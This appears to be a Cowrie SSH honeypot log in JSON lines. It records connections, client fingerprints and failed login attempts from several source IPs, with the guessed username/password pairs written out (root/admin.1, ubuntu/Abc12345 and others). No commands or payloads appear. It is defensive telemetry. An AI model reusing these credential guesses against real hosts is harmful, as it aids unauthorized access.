{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:57:57.346889Z","src_ip":"189.203.163.10","session":"f2ce7c747e0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hrd","password":"hrd","message":"login attempt [hrd/hrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:57:57.630436Z","src_ip":"189.203.163.10","session":"f2ce7c747e0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.145.242.127","src_port":50300,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fcd1ad72ef0","protocol":"ssh","message":"New connection: 118.145.242.127:50300 (159.203.135.109:22) [session: 4fcd1ad72ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:57:58.592576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:57:58.597810Z","src_ip":"118.145.242.127","session":"4fcd1ad72ef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:57:58.696700Z","src_ip":"189.203.163.10","session":"f2ce7c747e0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:57:58.840605Z","src_ip":"118.145.242.127","session":"4fcd1ad72ef0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":35004,"dst_ip":"10.17.0.5","dst_port":22,"session":"45cc5ab1039a","protocol":"ssh","message":"New connection: 160.251.185.39:35004 (10.17.0.5:22) [session: 45cc5ab1039a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:10.319921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:10.323848Z","src_ip":"160.251.185.39","session":"45cc5ab1039a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:10.498911Z","src_ip":"160.251.185.39","session":"45cc5ab1039a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sai@12345","message":"login attempt [root/Sai@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:11.234403Z","src_ip":"160.251.185.39","session":"45cc5ab1039a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:12.411990Z","src_ip":"160.251.185.39","session":"45cc5ab1039a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":33672,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea57a2063027","protocol":"ssh","message":"New connection: 27.71.230.31:33672 (10.17.0.5:22) [session: ea57a2063027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:28.253094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:28.983166Z","src_ip":"27.71.230.31","session":"ea57a2063027","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:28.986172Z","src_ip":"27.71.230.31","session":"ea57a2063027","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin.1","message":"login attempt [root/admin.1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:32.267692Z","src_ip":"27.71.230.31","session":"ea57a2063027","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":43850,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e0f5dca6290","protocol":"ssh","message":"New connection: 217.168.240.63:43850 (159.203.135.109:22) [session: 4e0f5dca6290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:33.004398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:33.008449Z","src_ip":"217.168.240.63","session":"4e0f5dca6290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:33.147316Z","src_ip":"217.168.240.63","session":"4e0f5dca6290","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Abc12345","message":"login attempt [ubuntu/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:33.726986Z","src_ip":"217.168.240.63","session":"4e0f5dca6290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:33.948669Z","src_ip":"27.71.230.31","session":"ea57a2063027","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:34.866235Z","src_ip":"217.168.240.63","session":"4e0f5dca6290","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":60706,"dst_ip":"10.17.0.5","dst_port":22,"session":"36393703de67","protocol":"ssh","message":"New connection: 76.79.213.69:60706 (10.17.0.5:22) [session: 36393703de67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:42.829106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:42.833984Z","src_ip":"76.79.213.69","session":"36393703de67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:42.956457Z","src_ip":"76.79.213.69","session":"36393703de67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vicidial123","message":"login attempt [root/vicidial123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:43.476820Z","src_ip":"76.79.213.69","session":"36393703de67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:44.601827Z","src_ip":"76.79.213.69","session":"36393703de67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":53818,"dst_ip":"159.203.135.109","dst_port":22,"session":"1beb4d0784df","protocol":"ssh","message":"New connection: 101.47.159.125:53818 (159.203.135.109:22) [session: 1beb4d0784df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:51.264884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:51.270460Z","src_ip":"101.47.159.125","session":"1beb4d0784df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:51.507323Z","src_ip":"101.47.159.125","session":"1beb4d0784df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab112233","message":"login attempt [root/Ab112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:52.489116Z","src_ip":"101.47.159.125","session":"1beb4d0784df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:58:53.730622Z","src_ip":"101.47.159.125","session":"1beb4d0784df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":51726,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a9c3edc1613","protocol":"ssh","message":"New connection: 92.113.145.209:51726 (159.203.135.109:22) [session: 8a9c3edc1613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:59:02.749426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:59:02.753860Z","src_ip":"92.113.145.209","session":"8a9c3edc1613","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:59:02.862264Z","src_ip":"92.113.145.209","session":"8a9c3edc1613","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gogs","password":"1234","message":"login attempt [gogs/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:59:03.328880Z","src_ip":"92.113.145.209","session":"8a9c3edc1613","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:59:04.443631Z","src_ip":"92.113.145.209","session":"8a9c3edc1613","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":57782,"dst_ip":"159.203.135.109","dst_port":22,"session":"237db8c2965e","protocol":"ssh","message":"New connection: 27.71.230.31:57782 (159.203.135.109:22) [session: 237db8c2965e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:59:50.350975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:59:50.709421Z","src_ip":"27.71.230.31","session":"237db8c2965e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:59:53.128450Z","src_ip":"27.71.230.31","session":"237db8c2965e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin.1","message":"login attempt [root/admin.1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:59:56.095479Z","src_ip":"27.71.230.31","session":"237db8c2965e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:59:58.251962Z","src_ip":"27.71.230.31","session":"237db8c2965e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:59:58.598322Z","src_ip":"118.145.242.127","session":"4fcd1ad72ef0","protocol":"ssh"}
